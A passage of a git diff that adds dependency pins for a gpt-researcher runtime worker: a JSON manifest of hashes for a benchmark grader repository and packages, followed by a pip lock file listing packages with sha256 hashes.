"225cb5a6387facc05ba9f488ffe68b67a4e01783c723c7d0e8dd02006dea03d4" + }, + "locks": { + "requirements.lock": "839e23f1a74dae155901fefbba2c1e53520f5fb468c4562222323e07e3d27774", + "build-requirements.lock": "3e4bc4a4fdb884e03759d5eb0afdba46de547dce525b25bee17c63de3f1de57f", + "proxy-requirements.lock": "3a1ac1b2d53f345c151cfbf05ec8ef202578663469cf96bf0e84179774834754" + }, + "grader": { + "name": "DeepResearch-Bench-II", + "repository": "https://github.com/imlrz/DeepResearch-Bench-II", + "commit": "b38f360603db9531b102aef8c166cedb8509b6f6", + "runner_up_repository": "https://github.com/Ayanami0730/deep_research_bench", + "runner_up_commit": "852f4022d1f98fb707222e395405136e8f0e8d52", + "source_archive": { + "url": "https://codeload.github.com/imlrz/DeepResearch-Bench-II/tar.gz/b38f360603db9531b102aef8c166cedb8509b6f6", + "sha256": "4b8dd1d7e8727a97079052b14edcb7ea2bee1843f96a8c57c26b527522c4f4e0", + "hash_origin": "actual downloaded commit archive; not an upstream signature" + }, + "files": { + "uv.lock": "3c193d03d6c9be174312f74d73188e9fa24a7f46a30749fa6cf06934dc2860c8", + "pyproject.toml": "da26de6cfc92d0077b1bc62c8bc346ae5cff0458ffceffef60026e61ee114cd5", + "tasks_and_rubrics.jsonl": "263aaabb8c279fb16cbe7c9499afe82d657a8ab3ccfb07ace084387e367d921a", + "run_evaluation.py": "04ec1698c970f1a3c8a565a4e7b63e9c11845e6680472c4dcf30c5139eb8d775", + "aggregate_scores.py": "ad567d824ca7ae04976c890edf5f224c61634c27cab608aeac0c7025dc1e9ca1", + "gpt_client.py": "1c2d590448ff2ca3997266a874faa0c9b02c5905a68b58b636dbafea4a175904" + } + }, + "fastmcp": { + "version": "4.0.10", + "artifacts": [ + { + "filename": "fastmcp-4.0.10-py3-none-any.whl", + "sha256": "1f8462e3d97394a637e1b0f1eaea0002da661c8d98000ad43f0aa3fa1ff523e8" + }, + { + "filename": "fastmcp-4.0.10.tar.gz", + "sha256": "64539631a7dc5873a1c7a44089b2f7b3395dea3ca857e9f81bfe9665a59038d5" + } + ] + }, + "langchain-openai": { + "version": "1.6.6", + "artifacts": [ + { + "filename": "langchain_openai-1.6.6-py3-none-any.whl", + "sha256": "60dcaa443ddfdf1559feaf1d25916f394c7dda809aebe22a769fc39f02705be7" + }, + { + "filename": "langchain_openai-1.6.6.tar.gz", + "sha256": "7b3848f42825aca40165463aa37757051165eb292ba7f24658a2f58f9bb221f9" + } + ] + }, + "round3_source_note": "Added source-file verification at the unchanged 0957c301ed06c2a5857b834358c7227c739041d4 pin: cli.py:306-362; utils/llm.py:120-143; utils/url_security.py:8-25,63-122; scraper/scraper.py:195-212. Hashes computed from exact raw.githubusercontent.com bytes on 2026-09-27; no package, archive or lock pin changed." +} diff --git a/blueprints/runtime-workers/gpt-researcher/proxy-requirements.in b/blueprints/runtime-workers/gpt-researcher/proxy-requirements.in new file mode 100644 index 000000000..db9a0320c --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/proxy-requirements.in @@ -0,0 +1,2 @@ +# Source and generation command: research.md (local integration lock, not upstream). +fastmcp==4.0.10 diff --git a/blueprints/runtime-workers/gpt-researcher/proxy-requirements.lock b/blueprints/runtime-workers/gpt-researcher/proxy-requirements.lock new file mode 100644 index 000000000..d000978e2 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/proxy-requirements.lock @@ -0,0 +1,867 @@ +aiofile==3.12.3 \ + --hash=sha256:5c1bcc9e929c50834608e8cc1a4cc1d7503eb60c15a535b779fd39e2f372c017 \ + --hash=sha256:caa6aa746b5e47e2165f7abd741b6415e49cf4d44fddc0f61844612cc3924d41 +annotated-types==0.8.0 \ + --hash=sha256:13b2beaad985e05e2d6407ee4c4f35590b11f8d693a258a561055cac8f64cab7 \ + --hash=sha256:f072f4d804ea359e4eaf198b1af7a8b0943881a87f31bb764f8bf219bb9419e0 +anyio==4.15.1 \ + --hash=sha256:6152fdbbf9a77fdec97731721bebf7c4c44f7c29b424b0065826173efc7ed101 \ + --hash=sha256:9f28306018cbd6d329e64a36d58256edff76dd996fe423bc957326e578b82a94 +attrs==26.1.0 \ + --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 \ + --hash=sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32 +authlib==1.8.0 \ + --hash=sha256:88aebbd9af6757e14e912d5dc007ae1dc1f3e27e3b2152ce7c552ee2c3b3c121 \ + --hash=sha256:f3ecd5f1da737262fb53bf1a4d95c4ea1ad9dd509316587a255c99ab1838a4f0 +beartype==0.22.9 \ + --hash=sha256:8f82b54aa723a2848a56008d18875f91c1db02c32ef6a62319a002e3e25a975f \ + --hash=sha256:d16c9bbc61ea14637596c5f6fbff2ee99cbe3573e46a716401734ef50c3060c2 +cachetools==7.2.0 \ + --hash=sha256:3045213f186b89fdd95d94441354c4bd87c570b7a38d8c3fd1d9dd37f6dc90d8 \ + --hash=sha256:bcac1a1b8da6909994a2957238a57b8140dab7c5c5c69a43669654fe87a33c1d +caio==0.12.9 \ + --hash=sha256:0a571981c8724f69c34ed4c7619585d552d27fe38bad0daf970dca3e14d6922b \ + --hash=sha256:0b9922e7d5800b9aadafbe8ba956ed095ac37f85e0b38b96c97586e443548ff5 \ + --hash=sha256:14483697a27aefd265decb4b595e70814d284f46bc352c75eb9e9dae94a7b398 \ + --hash=sha256:17ec3d3cb28878e4771445f73161677a964f833f091fc88634a7214013dd8ed5 \ + --hash=sha256:1c043b15a19e33c0b18b1937493be6730c3b08acc33af6899f669ac8957a3e46 \ + --hash=sha256:25255807af48386c50a2b186eaa582ffd5347d67c4f1cb3aa1bb79b36ace7af9 \ + --hash=sha256:2e152e1a1970d49b6056c1c94547801fcc6b41fc12185db6628ed58ec7785b04 \ + --hash=sha256:32755af4459fed70d10a5e8c396de3ccb57e02365c7d818937a9794884b172da \ + --hash=sha256:3bf16c16b9318498ee7669a495d2198c44abdc0bc64483a500682c4eb41d5b52 \ + --hash=sha256:477d66e16948845d0f5ec6535e84c0c9ab7420b2f78f81bcf7b0f81d18a34ffb \ + --hash=sha256:4a69de19ef8780ea67f5fffa6fed95af32ed4c036e338a361307314306ac816c \ + --hash=sha256:4edc95d8dc49f91fc9e870174860729fd088f9529464a7a6a1deda8a14d59a4f \ + --hash=sha256:53d3febc3e46707786a023b28bd21213ac78332db46fae7df2a03c0cc208976d \ + --hash=sha256:554c6ee883a0f1e95236d85b8e7d8187b212668855ac3a858acb80f5e2e82e82 \ + --hash=sha256:5c43eaebf220aeb9a388d309a5352e82562a7b9b2ea0102502204413641cfed7 \ + --hash=sha256:6634c57de5883819e0fb423094fe5cb480e81b8f5f46f601eb143e2c762f4c14 \ + --hash=sha256:6c28c4789a9c6d8e8b36cac15f85727bd8e4d312c98fc5aa4fceaa4631669786 \ + --hash=sha256:6e72fb0ddd369f712a4ad229ee0f1d7df6852e9b59b36fe8a46210b4c9ea8e82 \ + --hash=sha256:7490517a72f4ad01b39311ff8e909c3cab77f12dddd370ba6deb035313038468 \ + --hash=sha256:7fee93281b220488a5e6949ac197a52c2f1e877c6e32aec5ce658e9add3eba60 \ + --hash=sha256:83718f0ba9ff56de9c3ce7a61b463466fbb064be4f087230064abac5d08b8100 \ + --hash=sha256:98e88c20217456113ae3021882aa310fab8ae77e54ec62a7c990f1c34a9f62a6 \ + --hash=sha256:99e99419b44ab5511f7468c6a452887dd125b8e4042672a7589f0cf01d254ea8 \ + --hash=sha256:a06afa038f76324f439595b7a3242abf090a80b03006ed3d7dbbb9c031baf8a3 \ + --hash=sha256:a11421fb4ac591e6fea5512d9a8ad1b488e7b28cf610ede973bbfb4be5177454 \ + --hash=sha256:aa0fe6b459ef45d9d1fe82e22d5d849dcdb07e3a87f56444d1ff799249a08576 \ + --hash=sha256:b17b9aca6360f72bf07f1062bd60d8849f3fd5c1cb77f43923d8dec7fdbbb5df \ + --hash=sha256:b30f3f36e45afb0814fc828cbb10ef9dd91043ff0b0a14ffe1cd8a348b461179 \ + --hash=sha256:bc63db6b4a54b2f1c519424acfb2b7198664e4ef8427d397215a81c0bed9e9e6 \ + --hash=sha256:bf12d4f014b2a33e642ed7905b5787656ede2fc24be21f7c086826ff0d32cec3 \ + --hash=sha256:c0432568cdf7cd36868f5d9800dfbb840d0ffaf0e8f2df0b42fbcbf83f2353ab \ + --hash=sha256:c327977b8174337c1aaff27da17ac249d176ef8ea6e2dbf70b49cdd8038d57d3 \ + --hash=sha256:c3f6dc05486ce4e1027f1d2da4d84c1d6bb815886e76f34a9228d370d86a5537 \ + --hash=sha256:cc30e0c458d2d6785e72bb5117086ffce61b5c058bee5637c5aea69042db5e86 \ + --hash=sha256:d3d3664c757d59d330381666683cdfa287c5bfff90819868e98ef0bb8c2d2382 \ + --hash=sha256:dada2e1ca5481e5c11201d269ac8e009ce86d34478f4426e9739470b0c2a1030 \ + --hash=sha256:de4458707370b9f13de2ead07e6719305624b4f0aad665ce6cb2f1452eb4965d \ + --hash=sha256:e10e3be34fca464cc5e27d3011e284fd0cde0cc488cda4742e765c8e9291647d \ + --hash=sha256:e600822c774fdb434e43163c7fc0d4dcfaa6540ebbf77e82e5f0dac071b27f8f \ + --hash=sha256:ed23f6ad6897fae4c02e3e8d236aa3cc18e766a7c5bb0352ea5e9fb26c5d3335 \ + --hash=sha256:ed343077d8178c003b1596f40b1f46955be963a2871a1f85519be823113b24b0 \ + --hash=sha256:f0698976f84dd40024204f0f77cf59ed7446e989575c8ad8cb64cd4b3e2871f3 \ + --hash=sha256:f6ffb3d448016d20d8c40c53864d81bdf7463157969de65841eeb370519dbf78 +cffi==2.1.1 \ + --hash=sha256:046bfc24911b37851ee1b51aab8bffe713d89c68c6a057b09484ce9fd5f69b4e \ + --hash=sha256:06c72bb76605a4b0cd0aad6930b69d4baf7dd5d806cfc409b824191099700e66 \ + --hash=sha256:0beceaabe56af686895136a2de78db54ecd8e4046b236b8fd6d6cb61389e9bf2 \ + --hash=sha256:154852545011f779917b11c78db2358d095da62a9a172b78ad0a583ee5adc0d0 \ + --hash=sha256:194cffa889098ced9976c3fc6340305e43f6303657d298da55366907c05c22d6 \ + --hash=sha256:19ee6127ee34de7d83ce3d371ebc5ed91addbdcc39f9ab15ce4eb35a4e534971 \ + --hash=sha256:1a18a57b58cfb21fc28d72e876acf10eaed67a1ed96226f92af4df681d571c4c \ + --hash=sha256:1aa5645c30469b09530c4ebca77ebf8f17618293c58f8549cb1a543a50236e7d \ + --hash=sha256:1dea0e4d7d4f11f619fe8c1d76caf49e24405b4b5743c0e3be16a500ecd930c9 \ + --hash=sha256:208f941bb9d18e768138677f0a6d2ce01f590df56043dda1df1535ac57c88517 \ + --hash=sha256:210019b6c7cf07f081b4c54635c8cf744377001350e29cc0f81c4377b4797735 \ + --hash=sha256:246fa40ce8645a614ff682e0b70f37134e460eaf93a775e0cbe3cca585a67a80 \ + --hash=sha256:25792eac27877609e7bb06d42ff88278a6624fff2ba9bbb523c09616b117e80f \ + --hash=sha256:27350daa11d4f10c540e6e89dada4c54feb7256ad03e9a4dc075ebad7ba360d1 \ + --hash=sha256:28907ab9bfb6aa13184cfc17c6b8e1023c5ab6fd7076d8c20a35e59fe04f8f29 \ + --hash=sha256:2ae64be792b8966f2c69538199728b290e34726562896df1e5dc8ffd8d8188e8 \ + --hash=sha256:31348097ff5bbe827ccc41795d4dd099d9f0625e7def00ee653c137a490c2a6c \ + --hash=sha256:3143d81e29e1e20a9ce10901ec369012947876596f75a222235965f2b7ae832e \ + --hash=sha256:3222ba5d678f80a030e6afbcc33dc1ae5cb45facabb61cee2c7016b8432fde48 \ + --hash=sha256:3311ed60d36f83378794e1009ac6258bafbf81f7888b4caa7b35a521e3f95813 \ + --hash=sha256:334644fbac4eff73d985a17a91226df55d0f394160c4cfb880e084c8f7161cac \ + --hash=sha256:34e261f78cb6ceaaa36f42f2613f4380d94d9c759a9c73c769ee6e0247364632 \ + --hash=sha256:363e05fa78e15116c3c32c210ee36884fd6b9afa6d440e47112c3bd511d64cb6 \ + --hash=sha256:398aff33cee2767e3e781d2554c54bd0dff386bb437581e0d8011fde1a942ec1 \ + --hash=sha256:3d22a20b1fb1632cc72c22f95f7b0d2961c3e1c235f245ba4c606c4771035659 \ + --hash=sha256:42a494cee34437f05546455144f2b5d9ac09b1face62bcfce597d2e521066688 \ + --hash=sha256:42e2f76b9455f5a9a844f770bf3e200ed3da0e15f5df3db9c31fe80b04b3d004 \ + --hash=sha256:42f6930c31dc7f50732c9ae793c2786c7b6b044195967bbdde40bb9be81c4cc0 \ + --hash=sha256:456a61fa52d579ebf9df2e9552ead5129855dbaff6c1e5a9b1bc408809bdc062 \ + --hash=sha256:471cee653ae88de62096552e6d24ccb4a5adb8c8c9f10b5054d0122c15bf2779 \ + --hash=sha256:49cbc70e6542d4ccccb936558d1064a8012541e78f821f955cff24e357776c94 \ + --hash=sha256:4a7c934f7360e8cd64fe9efadcbd10c7c6364f531e432b9a4bf5ccbc9e0e8b50 \ + --hash=sha256:4be96343e422f2dfcd12ab5c9f5aebe03f82f737c6bffeca6830b3875cb44aab \ + --hash=sha256:4f42141fc14250de6dde5ee7ea4432be017252d91f19c5ad043c084cea629cac \ + --hash=sha256:507a24c282e0f42f8ed737cf048572cbf580468da5555764a8331735e9c736b6 \ + --hash=sha256:51b31d1c98274844cfd7838ce00bfc27c7423a4dc00fc0772fc3331c2cc90676 \ + --hash=sha256:58acb8ab8e295e6c5ea12f888cbb13cf21511ef2a3303a23f4325c29d17fe5c1 \ + --hash=sha256:5a59cc1c4442bc3d5c703bf720b51138d0bfc173618807c9ee2490a7541dd3d9 \ + --hash=sha256:5bb4e7ea95dcd6a014a6fef62e62467d67d8e582326443f3d68e71d6320a9fcf \ + --hash=sha256:5c58fe613dc5e5336357eff555824a314d8e43282600435c8d1cb6a7a2fedd13 \ + --hash=sha256:5e7cecbaadb83884793e05828cee59b210b24583b9c7425d0ba6a754fe22eb4e \ + --hash=sha256:616f097f2fe415bc92a247f02e11f634e1f9e9a83d327e3c915c15089c87869e \ + --hash=sha256:63bbfd5ded17c4840ac07cd8f1c21ba9d9708141f840b324f422f41b207e3973 \ + --hash=sha256:64faea20f4e2613363a1a9b9c7dd73058f3ecd00133a511e72ad7c511658f527 \ + --hash=sha256:661c298b4821edebead0c91edd2b00374d67ad7c5a1f7a91d4442633b79d6a72 \ + --hash=sha256:68e62fe11f30d5ca8289242866f0a5291402d8529ca2178ab8afc5c9694ae890 \ + --hash=sha256:6a8dddef476fab96d066d578fc88526767b836ab5ab21754e1d5bf3879c31c7c \ + --hash=sha256:6e192623c49c94421616a5778fba35cf0d5a8d000650c1967ef4448ee5cdd990 \ + --hash=sha256:7225e4514edb64eb6740324353e0da0711954fd8d7da4576755b1c6e09b697cd \ + --hash=sha256:75f80557d1389eddbd0de2681f6a390a0c5338c31ddaa821381c203fc3fd50d9 \ + --hash=sha256:770de9db11e84213beec501cfcaa013b019820ca881e03344dea5844f7876d94 \ + --hash=sha256:7750c6449dff7864bb9bb27ddfb0267756189201a3afc911d82b3caacd70dfc3 \ + --hash=sha256:7bde5e4cc5c10140859842b9d383af292b22639a4dffb725314baf45968cef80 \ + --hash=sha256:7ce713ace7c0e4520535b42b77eaa742c16dab813978064913e5a3cf82973b41 \ + --hash=sha256:7da0c5eff80f0197f3b3d1232ec5a682a9325f4ae9016a78f5f5ca35f9ced1f5 \ + --hash=sha256:7dbb61fe3a7699468030f71bbe5f8a0e326a151daa91beb11a6fc1f980c55e1c \ + --hash=sha256:811bd1e21d32de12efca32393a0ab3f5133b54fce9bd44b8bd77ab07da14bf6a \ + --hash=sha256:8ef53b2de9bcb9197d31854256575d59dbac0cba72ac627bb291ef5eceb74be4 \ + --hash=sha256:937c0052c05a31ca1daf18de3158eed4dbfcb9cc107adbea227728d647be701e \ + --hash=sha256:9d2055050ea716bd38b7f7f1579c275386646b4894c155a3e2f3cd62ed41b7c6 \ + --hash=sha256:9f8d177621de5cb38ee3e731eda45d421db093ec0739f46a5594babda7987a98 \ + --hash=sha256:a2d7755bef5a12ed488f4ef1f1b69ee9191d7396083b755a5d2295f6edb4768b \ + --hash=sha256:a48d62ab9d6f4f98c983223a547af44be6ca3691074c31cecced6facd3ba2dc1 \ + --hash=sha256:a4f00aa42f75d6e4595e8866e748cc1705adc0cddfeb2ca86d0d03993d63ba03 \ + --hash=sha256:a6e721d4b0e45d5b65e87534470e67b18dcd092c83f68fba09f152b9cbc061af \ + --hash=sha256:a730a083190634c65cca36ba5f489531576ebd79bcd5c8e172130f6453127231 \ + --hash=sha256:a931079504ecc49efed7744c476a5c343a92fabf66dec2db95edb1b2fdc770e2 \ + --hash=sha256:aa9511c62d14da7aacc9b4bf51f3f697a621e83b2d6919008243c3aad168eea3 \ + --hash=sha256:ab36d55f9ed2d067327667c2fea18dda018eb628dd6347aa01dda6cf1f5d3836 \ + --hash=sha256:ad2c86c495b899d862ea0f4b42891b8713a3bd45dd4105c7fd51c2a72f39f3a5 \ + --hash=sha256:aeae0e330c9f6acd681f647d46cefd30c29f93e3392882e792e82080c9691399 \ + --hash=sha256:b0431303acaea1089ad4b3e9ce4e6518193def1118d4073ca848635ee4ea2e96 \ + --hash=sha256:b5bdfd1c873d4e093aabc0ca84c4ca6dbc4f752afb5c86f146d9742580c9da2e \ + --hash=sha256:baed1e86cc735622097354b9d1281406caf42ff42a886d29faa8e8d1630333be \ + --hash=sha256:c1453022f490d2459a11819d83ad1d586e9ff65a12ac3e705ffebd46d3685dcf \ + --hash=sha256:c26608d2222fb1e94487e4a387d85f13eb55d5ed725cb25a0c589ac4ee60e7bc \ + --hash=sha256:c7659f22557c5a0bc4855cd635f55edec690cc008a40768527762cb9fb263455 \ + --hash=sha256:c8c69575568085ba0b1b10c0249d779a214aea6f6522e949a0fc9fb0fcb449d0 \ + --hash=sha256:c8d2c9fd1f2d16f780d15127abb050d13d1a76c03a4bd87d7e4980e45e511e12 \ + --hash=sha256:ca82be1a1d406ecfe1d25dc16cb33488e5a16bf4438c9fb590484ea29d92478b \ + --hash=sha256:cc572dace3f60ef98d7b12ff411d20f5362feb31a0439eab0085bbfd349982d7 \ + --hash=sha256:d18e5ac0f2f03f4f518d3e23db0f0cad7faa1da8620e9c09461d443bbf6e6692 \ + --hash=sha256:d28630f5854ab07ab1fd4aba756de52326c82e6be15d414b12793f1975048b54 \ + --hash=sha256:d9c275eaacd24aa73f94ffd6de08fc3f932424d8b6c376f4bed7cde376fe7bc3 \ + --hash=sha256:da0e573f9f97159390c89d9f1a9e41908b66d408cc5b58d08cf3847d844c531b \ + --hash=sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be \ + --hash=sha256:dddad92b554513a31f272570678ba307fb9f618f05e3d4a5eacafff9eae03e1d \ + --hash=sha256:df423d40ee8654634421812bc3b196da3f9bd7d32929da813f8394c4348a5358 \ + --hash=sha256:df913725b79db7bcf03448f36b7bf8815363417d5b58deecf9305e3e30f0f21a \ + --hash=sha256:e0bcb7e0f677f543555d2adff3bf19c05f66cdb4796e5ff602442ab2fe3c4ef7 \ + --hash=sha256:e2d65b31f36619cda3999b78b2aa9632e76b78448e7a56fc4240824200e7c4fc \ + --hash=sha256:e6e8cff14d6fb0be70a09c0bdc58096f501952d04624ebf867e0e56da2df8960 \ + --hash=sha256:f16c709686a78c727bbbf059f92b0bf41c6fc60deec706d2dc19f529175a6125 \ + --hash=sha256:f24fb43132a4c6b4cb4eb029492919b2db645be6808d738f244fd146c03c32cb \ + --hash=sha256:f53e442b08449d42821fa4a4fba000095af9f62742a500f978a9f557ec44339a \ + --hash=sha256:f5cfbc5fe74540d335175b656c725d74d90e3730c626d92575eea35029d9afaa \ + --hash=sha256:f81b3b8f3d4e343550fa4baa0e479bba9f2d29ce9c2e9b51d1ce1718d7442fcf \ + --hash=sha256:f8ec5e643a9a937f64e1999eb9f75d072263751912dc5cd06d3c85f8f44be7c3 \ + --hash=sha256:fb92203a88b3d3053034db775110081c49d28be6551923805e039924093761e4 \ + --hash=sha256:fcd22650c908d7b7da162bbfaab594a1227a15d1643a98c68b122ac642fa2264 +click==8.5.0 \ + --hash=sha256:255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee360 \ + --hash=sha256:ba0d2089de75ea0310e2dde03160e6ca10009947fb95a182f9b54021bb272e34 +cryptography==50.0.1 \ + --hash=sha256:01f41478cf33fc605a6a089cd56d28b45c6c0b45a1928b61797f2621a04bac71 \ + --hash=sha256:05ba322c4da95b262a212c345af888ef2c37c88c0509756ea00a0e6d68850f23 \ + --hash=sha256:16c5ecd954b3330ebfb6605eca4fd952da8bef376551d5cc264534e3770a9ee6 \ + --hash=sha256:2a93d05e34d5f67fba6f891fe85d929999baa7195e853923ea6d7576c9e68c5e \ + --hash=sha256:2b34d76a652ea2b6faf777c35df230c5637842cd904e04f16230c3f9f03e4361 \ + --hash=sha256:2ebbfb0f1fed745e91796e3e1080a1440423fdae8ece1b995a1d80883a409054 \ + --hash=sha256:30a125032e5642a21ff816e021152bd4e7e94f03eff3f4b7fca41cd22bc3110f \ + --hash=sha256:330fbb252391c596f1ae42c5754449dc924e6ad012dca8efe0d703f9f2d12ec6 \ + --hash=sha256:359e62deae718bce96170e223fdcb6357e4fbd3bb7a3a75f4430763532560e49 \ + --hash=sha256:407fe2b6db00939c05c0e945e9914238f2f0a430974839429dafc82b1ee6bee5 \ + --hash=sha256:42be3bb70596b3abe4ac097b75be223e8b3ab614a0e5de068e3dcc54d71d6149 \ + --hash=sha256:4c4188f7c0cf655be5c06342b817ed0f9595b69ffa2b12026e5353eed29dea88 \ + --hash=sha256:51593d180cf6d179bde5c5d065bed81386b1f381656ae7d042b7ffc87a9895ad \ + --hash=sha256:51afcfceb15597cf2635068e4ac9a56b2abde622edde17f37d85fd7b5306497a \ + --hash=sha256:53e279950892dc102c6b4e52af03ae5ea92fac572a1ddab78ca73a997f62b69f \ + --hash=sha256:55d16b1ef3ee0958d893a977b19777887e546c9954ea81b200c3301a864013f2 \ + --hash=sha256:5dd9bda1c12b4162f6ff568eeb5e0ff956c28d14406e875cfe8a63a2d414ff20 \ + --hash=sha256:5fe002589592ed749ce77fe0695fcbd3500dd61d7d6db5858a7544c612fa8e45 \ + --hash=sha256:5fe939deeb161024a6be98229c953b6591fef1f41214497a78fe793a244c017f \ + --hash=sha256:693c99b49bd37d0d096e4334c10232c77248c415b98d35236094cdf96d57258b \ + --hash=sha256:76de83fbd91ac49c0feaaa983d0748fd7a53176afac5fb3bf7478d244f0eb527 \ + --hash=sha256:79bf008d1f9af6071c797ad133e39915dfee7614f18f18f4db9072eb715064a3 \ + --hash=sha256:804728ce710890870f3aaa344b2e161172d258d768ac139d02cfd9092d0d94e6 \ + --hash=sha256:8921d58f426793c5f1b47f0b59575780de9a095214958d0eb37d909593db8367 \ + --hash=sha256:8df2de9102026855887e4587084f6eabd80ed0f345b8ad8a7ac27ab9bf4723e0 \ + --hash=sha256:9cb3cb952cf5a8abd50c782a98a89d71699715e802fe349704b47f2425b42a94 \ + --hash=sha256:9dde0a357190eb3b1da1bb9ab750e9c85cba82ca5977aa0836cbb94e92611239 \ + --hash=sha256:9ebcdd5519be9b652a46f507817a74591774fc3d6923ac364e4dfa64e36b291b \ + --hash=sha256:a0b1a59e3a089064a0ec309e9428c8e3ae4e161419d20ac33600767e83fc658a \ + --hash=sha256:a255449073358275b64b67d3f595f268bbef70e72b6edb65e0c70c735bf739c9 \ + --hash=sha256:a8f40ea47330e71b594a7e246898f93177c259490c63183dbaf9e571d71ed9a5 \ + --hash=sha256:ac02b07824d4d1001bd4367599f839c19cb171924c796e52c23508ac14c2c0cc \ + --hash=sha256:aed8db4f6d71c51efb89530e12d9464e7bf2923d46c3205dc794a2a93f8c0648 \ + --hash=sha256:b8f852c65863251b9e3a1b8c150ce21e59b522dbb6a7d4bc80e680d38388e986 \ + --hash=sha256:be224a65493ec5b74a158ff22a5522ce4a5ca1e543c647a3a4730d4a09e5f959 \ + --hash=sha256:ca83d00d9e69cd5eb63f2e69c3a5a59e0cecae5ae14c6ae0b35830fe3b37bad0 \ + --hash=sha256:cbf74a81765ee67413503ca6e26dcc4f6f5a519822436cc0a1b97aab6c1b8a17 \ + --hash=sha256:d63ae8f6481fec907ac0f588eee8a90aefde112c633131fe540e5711ddbb5a4e \ + --hash=sha256:e22dfed744bd4002e909464cb23d2f0b05c6f3113a79ef2e9864a53db737c733 \ + --hash=sha256:e2ca8fd1b6b4b82a1c4cb02841d0837e3c12336c2e24b520ab8ab3b969733d8f \ + --hash=sha256:e74591e283fe6eb956416c929eb58262a719fe0311fd9054c62c3350ed8760d8 \ + --hash=sha256:f74455bb086a85d5e81246412602aaa97ed095e504cd40dd261ef50be42205bf \ + --hash=sha256:fb4b9672d389c738b175c4166e78310f8a70358886aacd9173ee03a85ffdc671 \ + --hash=sha256:fc3ed7ebd2a8c96f5b166de0ab9b624996bef3b07bbeb19364dfb78222c22c80 \ + --hash=sha256:fd3718b960d0b5dd213cdf03f3bcb7000e69dda0de8b956061947ff6bcff5558 \ + --hash=sha256:ff838d62ec1bfce4f9ba7fa16f4a7b554cd8d0c299e6be37502161a660c84eef +cyclopts==5.0.0 \ + --hash=sha256:69c5d98bd48827a0f7c663b76f966f730652cbc48daa7625f1e69ae429b82376 \ + --hash=sha256:8bee8822319f5cd90711f568aec54a0a02bd3571ddff45c94aa62405beed38b6 +dnspython==2.8.0 \ + --hash=sha256:01d9bbc4a2d76bf0db7c1f729812ded6d912bd318d3b1cf81d30c0f845dbf3af \ + --hash=sha256:181d3c6996452cb1189c4046c61599b84a5a86e099562ffde77d26984ff26d0f +docstring-parser==0.18.0 \ + --hash=sha256:292510982205c12b1248696f44959db3cdd1740237a968ea1e2e7a900eeb2015 \ + --hash=sha256:b3fcbed555c47d8479be0796ef7e19c2670d428d72e96da63f3a40122860374b +email-validator==2.3.0 \ + --hash=sha256:80f13f623413e6b197ae73bb10bf4eb0908faf509ad8362c5edeb0be7fd450b4 \ + --hash=sha256:9fc05c37f2f6cf439ff414f8fc46d917929974a82244c20eb10231ba60c54426 +exceptiongroup==1.3.1 \ + --hash=sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219 \ + --hash=sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598 +fastmcp==4.0.10 \ + --hash=sha256:1f8462e3d97394a637e1b0f1eaea0002da661c8d98000ad43f0aa3fa1ff523e8 \ + --hash=sha256:64539631a7dc5873a1c7a44089b2f7b3395dea3ca857e9f81bfe9665a59038d5 +fastmcp-slim==4.0.10 \ + --hash=sha256:c2abd40302b8f06b0291413cf537d57bc0f171b5fd98af5cfef3b2b6b506122f \ + --hash=sha256:d22b423f93ad945bf65d446a1689ff84be7b91dfd9b6f23c5013f4b2fe9776a7 +griffelib==2.3.0 \ + --hash=sha256:1b8f9cd525681c26b1d6d574faa1371651e8459ca51d209684f50b8096ae06e0 \ + --hash=sha256:7b0952caf5bca6afa4bb5ee8c6a2d183fe3f21b62efc5f6c7243cb2b26d2d115 +h11==0.16.0 \ + --hash=sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1 \ + --hash=sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86 +httpcore2==2.13.1 \ + --hash=sha256:e0aa977abe17e69a3b820a24542a6fa88702676d83880b8d194dcd18408e5103 \ + --hash=sha256:e1e05d4f25f7d7d496bfb96748f6f4b67657b03da069b3a68c36069f3db73d0a +httpx2==2.13.1 \ + --hash=sha256:6dff50fabc270ee5fd25d845d0b078ed20564579744d6d962850975996d2f9a4 \ + --hash=sha256:e48744a19e3af5ee48313d0ce5fe941d5422fae5705ea922a4aabf94d7800dfa +idna==3.20 \ + --hash=sha256:a7db850025b95ded1eae8a46181a1a6c56c92c96f0e2b005d9ff8dc0210cab44 \ + --hash=sha256:ab7ae7122974553370f0bdb919e1a960b2cd1bc1ef0276416d896db81c14582c +jaraco-classes==3.4.0 \ + --hash=sha256:47a024b51d0239c0dd8c8540c6c7f484be3b8fcf0b2d85c13825780d3b3f3acd \ + --hash=sha256:f662826b6bed8cace05e7ff873ce0f9283b5c924470fe664fff1c2f00f581790 +jaraco-context==6.1.2 \ + --hash=sha256:bf8150b79a2d5d91ae48629d8b427a8f7ba0e1097dd6202a9059f29a36379535 \ + --hash=sha256:f1a6c9d391e661cc5b8d39861ff077a7dc24dc23833ccee564b234b81c82dfe3 +jaraco-functools==4.6.0 \ + --hash=sha256:880c577ec9720b3a052d5bc611fb9f2269b3d87902ef42440df443b88e443280 \ + --hash=sha256:99e3dc0060c5cbe8fcd1cdb36258e2a65ca40f1566b2033b12abb1bb44dd3c30 +jeepney==0.9.0 \ + --hash=sha256:97e5714520c16fc0a45695e5365a2e11b81ea79bba796e26f9f1d178cb182683 \ + --hash=sha256:cf0e9e845622b81e4a28df94c40345400256ec608d0e55bb8a3feaa9163f5732 +joserfc==1.7.5 \ + --hash=sha256:add2c2c84e8373b084d526a8b53daba5d7a513a118cd2dcd9fc9f979d0922159 \ + --hash=sha256:d5ff536e658e17664f8c1b1ab60dc4aa62aa973fcef1edd33cc44bda45d6f5ea +jsonref==1.1.0 \ + --hash=sha256:32fe8e1d85af0fdefbebce950af85590b22b60f9e95443176adbde4e1ecea552 \ + --hash=sha256:590dc7773df6c21cbf948b5dac07a72a251db28b0238ceecce0a2abfa8ec30a9 +jsonschema==4.26.0 \ + 